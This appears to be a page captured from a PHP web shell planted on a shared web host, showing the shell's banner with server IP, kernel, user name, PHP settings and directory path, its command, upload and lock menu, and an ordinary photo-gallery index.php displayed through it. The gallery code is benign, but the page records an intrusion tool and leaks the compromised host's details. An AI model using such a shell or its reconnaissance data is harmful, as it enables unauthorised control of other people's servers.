gzuncompress
|
Server IP : 172.19.0.2 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home/webpages/lima-city/tomlinde/html/thaigallerievolker/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
<?php
include("config.inc.php");
require_once 'internals/globalConstants.php';
require_once 'internals/update.php';
if($pass_required)
if (!( isset($_SERVER['PHP_AUTH_USER'])
&& strtolower($_SERVER['PHP_AUTH_USER']) == $pass_user
&& strtolower($_SERVER['PHP_AUTH_PW']) == $pass_password) ) {
header('WWW-Authenticate: Basic realm='.$title);
header('HTTP/1.0 401 Unauthorized');
echo 'Username or password is wrong. Access denied.';
exit;
}
//Automatic Updating (checking for updates once an hour by default)
if($autoUpdate){
if(file_exists("internals/lastUpdate")){
$lastUpdate = trim(file_get_contents("internals/lastUpdate"));
} else {
$lastUpdate = 0;
}
if(time() - $lastUpdate > 3600){
//ignore user abort to complete the update in any case
$prevAbort = ignore_user_abort();
ignore_user_abort(true);
set_time_limit(60);
//check for updates...
$updater = new Updater();
$available = $updater->updateAvailable();
$unmodified = $updater->checkForModifications();
if($available && $unmodified){
$updater->performUpdate();
} else {
file_put_contents("internals/lastUpdate", time());
}
ignore_user_abort($prevAbort);
}
}
//including an InputPage
require("internals/classes/inputPage.class.php");
$gallery = new InputPage();
//$gallery->writeGlobalTags();
$gallery->addTagToPath("/page", "title", $title);
$gallery->addTagToPath("/page", "version", trim(file_get_contents("VERSION")));
$gallery->addTagToPath("/page", "active", getActive());
$gallery->addTagToPath("/page", "cache");
if(array_key_exists('size', $_GET))
$size = $_GET['size'];
else
$size = "";
//reading which cache directories exist
$d = dir(IMAGE_CACHE_PATH);
while (false !== ($entry = $d->read())) {
if($entry == "." || $entry == ".." || $entry == "original")
continue;
if($entry == $size)
$gallery->addTagToPath("/page/cache", "size", $entry, "clientRequest", "true");
else
$gallery->addTagToPath("/page/cache", "size", $entry);
}
//generating the folder tree
$active = getActive();
$parentElement = $gallery->prepareTag("folder", NULL, "name", "Start");
$elementPath = $gallery->prepareTag("path", "");
$elementUri = $gallery->prepareTag("uriname", "");
$parentElement->appendChild($elementPath);
$parentElement->appendChild($elementUri);
parseDir(5, "", $parentElement);
$gallery->addSubTreeToPath("/page", $parentElement);
//------------ going for output -----------------
if(SERVER_SIDE_XSL){
// $pageObject is defined now
$xslDoc = new DOMDocument();
$xslDoc->load("internals/themes/default/theme.xsl");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
header ("content-type: text/html; charset=utf-8;");
echo $proc->transformToXML($gallery);
} else {
header('Content-type: text/xml');
$gallery->setXSL("internals/themes/default/theme.xsl");
$gallery->encoding = "utf-8";
$gallery->formatOutput = true;
echo $gallery->saveXML();
}
function getActive() {
$active = "";
if(array_key_exists('active', $_GET))
$active = $_GET['active'];
return $active;
}
function parseDir($maxDepth, $path, $parentElement){
global $gallery;
if(array_key_exists('p', $_GET))
$p = $_GET['p'];
else
$p = "";
$d = dir(IMAGE_ORIGINAL_PATH.$path);
while (false !== ($entry = $d->read())) {
if($entry == "." || $entry == "..")
continue;
if(is_dir(IMAGE_ORIGINAL_PATH.$path.$entry) && $maxDepth > 0){
$element = $gallery->prepareTag("folder", NULL, "name", $entry);
$elementPath = $gallery->prepareTag("path", $path.$entry."/");
$elementUri = $gallery->prepareTag("uriname", urlencode($path.$entry."/"));
$element->appendChild($elementPath);
$element->appendChild($elementUri);
parseDir($maxDepth-1, $path.$entry."/", $element);
} else {
if($path.$p == $path.$entry)
$element = $gallery->prepareTag("img", NULL, "current", "true");
else
$element = $gallery->prepareTag("img");
$elementName = $gallery->prepareTag("name", $entry);
$elementUri = $gallery->prepareTag("uriname", urlencode($entry));
$element->appendChild($elementName);
$element->appendChild($elementUri);
}
$parentElement->appendChild($element);
}
$d->close();
}
?>